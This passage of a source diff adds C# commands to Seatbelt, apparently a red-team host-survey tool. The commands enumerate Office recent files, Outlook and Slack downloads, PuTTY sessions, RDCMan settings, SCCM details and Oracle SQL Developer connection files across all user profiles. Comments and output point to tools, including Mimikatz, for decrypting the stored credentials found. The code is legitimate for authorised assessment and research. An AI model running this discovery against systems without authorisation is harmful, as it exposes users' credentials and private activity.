|
||||||
|
RegistryUtil.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\Office")
|
||||||
|
?.Where(k => float.TryParse(k, NumberStyles.AllowDecimalPoint, new CultureInfo("en-GB"), out _));
|
||||||
|
|
||||||
|
if (officeVersion is null)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foreach (var version in officeVersion)
|
||||||
|
{
|
||||||
|
foreach (OfficeRecentFilesDTO mru in GetMRUsFromVersionKey($"{sid}\\Software\\Microsoft\\Office\\{version}"))
|
||||||
|
{
|
||||||
|
if (mru.LastAccessDate <= DateTime.Now.AddDays(-lastDays)) continue;
|
||||||
|
|
||||||
|
mru.User = userName;
|
||||||
|
yield return mru;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<CommandDTOBase> GetMRUsFromVersionKey(string officeVersionSubkeyPath)
|
||||||
|
{
|
||||||
|
var officeApplications = RegistryUtil.GetSubkeyNames(RegistryHive.Users, officeVersionSubkeyPath);
|
||||||
|
if (officeApplications == null)
|
||||||
|
{
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var app in officeApplications)
|
||||||
|
{
|
||||||
|
// 1) HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\<OFFICE APP>\File MRU
|
||||||
|
foreach (var mru in GetMRUsValues($"{officeVersionSubkeyPath}\\{app}\\File MRU"))
|
||||||
|
{
|
||||||
|
yield return mru;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2) HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU\ADAL_B7C22499E768F03875FA6C268E771D1493149B23934326A96F6CDFEEEE7F68DA72\File MRU
|
||||||
|
// or HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU\LiveId_CC4B824314B318B42E93BE93C46A61575D25608BBACDEEEA1D2919BCC2CF51FF\File MRU
|
||||||
|
|
||||||
|
var logonAapps = RegistryUtil.GetSubkeyNames(RegistryHive.Users, $"{officeVersionSubkeyPath}\\{app}\\User MRU");
|
||||||
|
if (logonAapps == null)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foreach (var logonApp in logonAapps)
|
||||||
|
{
|
||||||
|
foreach (var mru in GetMRUsValues($"{officeVersionSubkeyPath}\\{app}\\User MRU\\{logonApp}\\File MRU"))
|
||||||
|
{
|
||||||
|
((OfficeRecentFilesDTO)mru).Application = app;
|
||||||
|
yield return mru;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<CommandDTOBase> GetMRUsValues(string fileMRUKeyPath)
|
||||||
|
{
|
||||||
|
var values = RegistryUtil.GetValues(RegistryHive.Users, fileMRUKeyPath);
|
||||||
|
if (values == null) yield break;
|
||||||
|
foreach (string mru in values.Values)
|
||||||
|
{
|
||||||
|
var m = ParseMruString(mru);
|
||||||
|
if (m != null)
|
||||||
|
{
|
||||||
|
yield return m;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private OfficeRecentFilesDTO? ParseMruString(string mru)
|
||||||
|
{
|
||||||
|
var matches = Regex.Matches(mru, "\\[[a-zA-Z0-9]+?\\]\\[T([a-zA-Z0-9]+?)\\](\\[[a-zA-Z0-9]+?\\])?\\*(.+)");
|
||||||
|
if (matches.Count == 0)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
long timestamp = 0;
|
||||||
|
var dateHexString = matches[0].Groups[1].Value;
|
||||||
|
var filename = matches[0].Groups[matches[0].Groups.Count - 1].Value;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
timestamp = long.Parse(dateHexString, NumberStyles.HexNumber);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
WriteError($"Could not parse MRU timestamp. Parsed timestamp: {dateHexString} MRU value: {mru}");
|
||||||
|
}
|
||||||
|
|
||||||
|
return new OfficeRecentFilesDTO()
|
||||||
|
{
|
||||||
|
Application = "Office",
|
||||||
|
LastAccessDate = DateTime.FromFileTimeUtc(timestamp),
|
||||||
|
User = null,
|
||||||
|
Target = filename
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class OfficeRecentFilesDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string Application { get; set; }
|
||||||
|
public string Target { get; set; }
|
||||||
|
public DateTime LastAccessDate { get; set; }
|
||||||
|
public string User { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(OfficeRecentFilesDTO))]
|
||||||
|
internal class OfficeMRUsCommandFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public OfficeMRUsCommandFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (OfficeRecentFilesDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" {0,-8} {1,-23} {2,-12} {3}", dto.Application, dto.User, dto.LastAccessDate.ToString("yyyy-MM-dd"), dto.Target);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,56 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class OracleSQLDeveloperCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "OracleSQLDeveloper";
|
||||||
|
public override string Description => "Finds Oracle SQLDeveloper connections.xml files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
|
||||||
|
// NOTE: to decrypt, use https://pypi.org/project/sqldeveloperpassworddecryptor/
|
||||||
|
|
||||||
|
public OracleSQLDeveloperCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var userFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\";
|
||||||
|
var dirs = Directory.GetDirectories(userFolder);
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foreach (string foundFile in MiscUtil.GetFileList(@"connections.xml", $"{dir}\\AppData\\Roaming\\SQL Developer\\"))
|
||||||
|
{
|
||||||
|
var lastAccessed = File.GetLastAccessTime(foundFile);
|
||||||
|
var lastModified = File.GetLastWriteTime(foundFile);
|
||||||
|
var size = new FileInfo(foundFile).Length;
|
||||||
|
|
||||||
|
yield return new OracleConnectionsDTO()
|
||||||
|
{
|
||||||
|
FileName = foundFile,
|
||||||
|
LastAccessed = lastAccessed,
|
||||||
|
LastModified = lastModified,
|
||||||
|
Size = size
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class OracleConnectionsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string? FileName { get; set; }
|
||||||
|
public DateTime? LastAccessed { get; set; }
|
||||||
|
public DateTime? LastModified { get; set; }
|
||||||
|
public long? Size { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,106 @@
|
||||||
|
#nullable disable
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
class OutlookDownload
|
||||||
|
{
|
||||||
|
public string FileName { get; set; }
|
||||||
|
|
||||||
|
public DateTime LastAccessed { get; set; }
|
||||||
|
|
||||||
|
public DateTime LastModified { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class OutlookDownloadsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "OutlookDownloads";
|
||||||
|
public override string Description => "List files downloaded by Outlook";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public OutlookDownloadsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var userOutlookBasePath = $"{dir}\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\";
|
||||||
|
if (!Directory.Exists(userOutlookBasePath))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var directories = Directory.GetDirectories(userOutlookBasePath);
|
||||||
|
foreach (var directory in directories)
|
||||||
|
{
|
||||||
|
var files = Directory.GetFiles(directory);
|
||||||
|
|
||||||
|
var Downloads = new List<OutlookDownload>();
|
||||||
|
|
||||||
|
foreach (var file in files)
|
||||||
|
{
|
||||||
|
var download = new OutlookDownload();
|
||||||
|
download.FileName = Path.GetFileName(file);
|
||||||
|
download.LastAccessed = File.GetLastAccessTime(file);
|
||||||
|
download.LastModified = File.GetLastAccessTime(file);
|
||||||
|
Downloads.Add(download);
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new OutlookDownloadsDTO()
|
||||||
|
{
|
||||||
|
Folder = $"{directory}",
|
||||||
|
Downloads = Downloads
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class OutlookDownloadsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string Folder { get; set; }
|
||||||
|
public List<OutlookDownload> Downloads { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(OutlookDownloadsDTO))]
|
||||||
|
internal class OutlookDownloadsFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public OutlookDownloadsFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (OutlookDownloadsDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" Folder : {0}\n", dto.Folder);
|
||||||
|
WriteLine($" LastAccessed LastModified FileName");
|
||||||
|
WriteLine($" ------------ ------------ --------");
|
||||||
|
|
||||||
|
foreach (var download in dto.Downloads)
|
||||||
|
{
|
||||||
|
WriteLine(" {0,-22} {1,-22} {2}", download.LastAccessed, download.LastModified, download.FileName);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,85 @@
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class PuttyHostKeysCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "PuttyHostKeys";
|
||||||
|
public override string Description => "Saved Putty SSH host keys";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public PuttyHostKeysCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var SIDs = ThisRunTime.GetUserSIDs();
|
||||||
|
|
||||||
|
foreach (var sid in SIDs)
|
||||||
|
{
|
||||||
|
if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var hostKeys = ThisRunTime.GetValues(RegistryHive.Users, $"{sid}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\");
|
||||||
|
if (hostKeys == null || hostKeys.Count == 0)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var keys = new List<string>();
|
||||||
|
|
||||||
|
foreach (var kvp in hostKeys)
|
||||||
|
{
|
||||||
|
keys.Add($"{kvp.Key}");
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new PuttyHostKeysDTO(
|
||||||
|
sid,
|
||||||
|
keys
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class PuttyHostKeysDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public PuttyHostKeysDTO(string sid, List<string> hostKeys)
|
||||||
|
{
|
||||||
|
Sid = sid;
|
||||||
|
HostKeys = hostKeys;
|
||||||
|
}
|
||||||
|
public string Sid { get; }
|
||||||
|
public List<string> HostKeys { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(PuttyHostKeysDTO))]
|
||||||
|
internal class PuttyHostKeysFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public PuttyHostKeysFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (PuttyHostKeysDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" {0} :", dto.Sid);
|
||||||
|
|
||||||
|
foreach (var hostKey in dto.HostKeys)
|
||||||
|
{
|
||||||
|
WriteLine($" {hostKey}");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,120 @@
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class PuttySessionsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "PuttySessions";
|
||||||
|
public override string Description => "Saved Putty configuration (interesting fields) and SSH host keys";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public PuttySessionsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var SIDs = ThisRunTime.GetUserSIDs();
|
||||||
|
foreach (var sid in SIDs)
|
||||||
|
{
|
||||||
|
if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var subKeys = ThisRunTime.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\SimonTatham\\PuTTY\\Sessions\\");
|
||||||
|
if (subKeys == null)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var Sessions = new List<Dictionary<string, string>>();
|
||||||
|
|
||||||
|
foreach (var sessionName in subKeys)
|
||||||
|
{
|
||||||
|
var Settings = new Dictionary<string, string>
|
||||||
|
{
|
||||||
|
["SessionName"] = sessionName
|
||||||
|
};
|
||||||
|
|
||||||
|
string[] keys =
|
||||||
|
{
|
||||||
|
"HostName",
|
||||||
|
"UserName",
|
||||||
|
"PublicKeyFile",
|
||||||
|
"PortForwardings",
|
||||||
|
"ConnectionSharing",
|
||||||
|
"AgentFwd"
|
||||||
|
};
|
||||||
|
|
||||||
|
foreach (var key in keys)
|
||||||
|
{
|
||||||
|
#nullable disable
|
||||||
|
var result = ThisRunTime.GetStringValue(RegistryHive.Users, $"{sid}\\Software\\SimonTatham\\PuTTY\\Sessions\\{sessionName}", key);
|
||||||
|
if (!string.IsNullOrEmpty(result))
|
||||||
|
{
|
||||||
|
Settings[key] = result;
|
||||||
|
}
|
||||||
|
#nullable enable
|
||||||
|
}
|
||||||
|
|
||||||
|
Sessions.Add(Settings);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Sessions.Count != 0)
|
||||||
|
{
|
||||||
|
yield return new PuttySessionsDTO(
|
||||||
|
sid,
|
||||||
|
Sessions
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class PuttySessionsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public PuttySessionsDTO(string sid, List<Dictionary<string, string>> sessions)
|
||||||
|
{
|
||||||
|
Sid = sid;
|
||||||
|
Sessions = sessions;
|
||||||
|
}
|
||||||
|
public string Sid { get; }
|
||||||
|
|
||||||
|
public List<Dictionary<string,string>> Sessions { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(PuttySessionsDTO))]
|
||||||
|
internal class ExplorerRunCommandFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ExplorerRunCommandFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (PuttySessionsDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" {0} :\n", dto.Sid);
|
||||||
|
|
||||||
|
foreach (var session in dto.Sessions)
|
||||||
|
{
|
||||||
|
WriteLine(" {0,-20} : {1}", "SessionName", session["SessionName"]);
|
||||||
|
|
||||||
|
foreach (var key in session.Keys)
|
||||||
|
{
|
||||||
|
if(!key.Equals("SessionName"))
|
||||||
|
{
|
||||||
|
WriteLine(" {0,-20} : {1}", key, session[key]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,116 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Xml;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class RemoteDesktopConnectionManagerCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "RDCManFiles";
|
||||||
|
public override string Description => "Windows Remote Desktop Connection Manager settings files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public RemoteDesktopConnectionManagerCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
var found = false;
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var userRDManFile = $"{dir}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings";
|
||||||
|
if (!File.Exists(userRDManFile))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// TODO: for remote triage, need to translate local paths to remote paths effectively
|
||||||
|
|
||||||
|
var xmlDoc = new XmlDocument();
|
||||||
|
xmlDoc.Load(userRDManFile);
|
||||||
|
|
||||||
|
// grab the recent RDG files
|
||||||
|
var filesToOpen = xmlDoc.GetElementsByTagName("FilesToOpen");
|
||||||
|
var items = filesToOpen[0].ChildNodes;
|
||||||
|
|
||||||
|
var lastAccessed = File.GetLastAccessTime(userRDManFile);
|
||||||
|
var lastModified = File.GetLastWriteTime(userRDManFile);
|
||||||
|
|
||||||
|
var rdgFiles = new List<string>();
|
||||||
|
|
||||||
|
foreach (XmlNode rdgFile in items)
|
||||||
|
{
|
||||||
|
found = true;
|
||||||
|
rdgFiles.Add(rdgFile.InnerText);
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new RemoteDesktopConnectionManagerDTO(
|
||||||
|
userRDManFile,
|
||||||
|
lastAccessed,
|
||||||
|
lastModified,
|
||||||
|
rdgFiles
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (found)
|
||||||
|
{
|
||||||
|
WriteHost(" [*] You can use SharpDPAPI or the Mimikatz \"dpapi::rdg\" module to decrypt any found .rdg files");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class RemoteDesktopConnectionManagerDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public RemoteDesktopConnectionManagerDTO(string fileName, DateTime lastAccessed, DateTime lastModified, List<string> rdgFiles)
|
||||||
|
{
|
||||||
|
FileName = fileName;
|
||||||
|
LastAccessed = lastAccessed;
|
||||||
|
LastModified = lastModified;
|
||||||
|
RdgFiles = rdgFiles;
|
||||||
|
}
|
||||||
|
public string FileName { get; }
|
||||||
|
|
||||||
|
public DateTime LastAccessed { get; }
|
||||||
|
|
||||||
|
public DateTime LastModified { get; }
|
||||||
|
|
||||||
|
public List<string> RdgFiles { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(RemoteDesktopConnectionManagerDTO))]
|
||||||
|
internal class RemoteDesktopConnectionManagerFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public RemoteDesktopConnectionManagerFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (RemoteDesktopConnectionManagerDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" RDCManFile : {0}", dto.FileName);
|
||||||
|
WriteLine(" Accessed : {0}", dto.LastAccessed);
|
||||||
|
WriteLine(" Modified : {0}", dto.LastModified);
|
||||||
|
|
||||||
|
foreach(var rdgFile in dto.RdgFiles)
|
||||||
|
{
|
||||||
|
WriteLine(" .RDG File : {0}", rdgFile);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,44 @@
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Microsoft.Win32;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class SccmClientCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "SCCM";
|
||||||
|
public override string Description => "System Center Configuration Manager (SCCM) settings, if applicable";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public SccmClientCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
yield return new SccmClientDTO(
|
||||||
|
ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\CCMSetup", "LastValidMP"),
|
||||||
|
ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\SMS\Mobile Client", "AssignedSiteCode"),
|
||||||
|
ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\SMS\Mobile Client", "ProductVersion"),
|
||||||
|
ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\SMS\Mobile Client", "LastSuccessfulInstallParams") // Sometimes contains the fallback server's hostname
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SccmClientDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public SccmClientDTO(string? server, string? siteCode, string? productVersion, string? lastSuccessfulInstallParams)
|
||||||
|
{
|
||||||
|
Server = server;
|
||||||
|
SiteCode = siteCode;
|
||||||
|
ProductVersion = productVersion;
|
||||||
|
LastSuccessfulInstallParams = lastSuccessfulInstallParams;
|
||||||
|
}
|
||||||
|
public string? Server { get; }
|
||||||
|
public string? SiteCode { get; }
|
||||||
|
public string? ProductVersion { get; }
|
||||||
|
public string? LastSuccessfulInstallParams { get; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,147 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Web.Script.Serialization;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
class Download
|
||||||
|
{
|
||||||
|
public string? TeamID { get; set; }
|
||||||
|
public string? UserID { get; set; }
|
||||||
|
public string? DownloadPath { get; set; }
|
||||||
|
public DateTime? StartTime { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SlackDownloadsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "SlackDownloads";
|
||||||
|
public override string Description => "Parses any found 'slack-downloads' files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Slack };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public SlackDownloadsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var userSlackDownloadsPath = $"{dir}\\AppData\\Roaming\\Slack\\storage\\slack-downloads";
|
||||||
|
|
||||||
|
// parses a Slack downloads file
|
||||||
|
if (File.Exists(userSlackDownloadsPath))
|
||||||
|
{
|
||||||
|
var Downloads = new List<Download>();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var contents = File.ReadAllText(userSlackDownloadsPath);
|
||||||
|
|
||||||
|
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
||||||
|
var json = new JavaScriptSerializer();
|
||||||
|
var deserialized = json.Deserialize<Dictionary<string, object>>(contents);
|
||||||
|
|
||||||
|
foreach (var w in deserialized)
|
||||||
|
{
|
||||||
|
var dls = (Dictionary<string, object>)w.Value;
|
||||||
|
foreach (var x in dls)
|
||||||
|
{
|
||||||
|
var dl = (Dictionary<string, object>)x.Value;
|
||||||
|
var download = new Download();
|
||||||
|
if (dl.ContainsKey("teamId"))
|
||||||
|
{
|
||||||
|
download.TeamID = $"{dl["teamId"]}";
|
||||||
|
}
|
||||||
|
if (dl.ContainsKey("userId"))
|
||||||
|
{
|
||||||
|
download.UserID = $"{dl["userId"]}";
|
||||||
|
}
|
||||||
|
if (dl.ContainsKey("downloadPath"))
|
||||||
|
{
|
||||||
|
download.DownloadPath = $"{dl["downloadPath"]}";
|
||||||
|
}
|
||||||
|
if (dl.ContainsKey("startTime"))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
download.StartTime = MiscUtil.UnixEpochToDateTime(long.Parse($"{dl["startTime"]}"));
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Downloads.Add(download);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (IOException exception)
|
||||||
|
{
|
||||||
|
WriteError(exception.ToString());
|
||||||
|
}
|
||||||
|
catch (Exception exception)
|
||||||
|
{
|
||||||
|
WriteError(exception.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
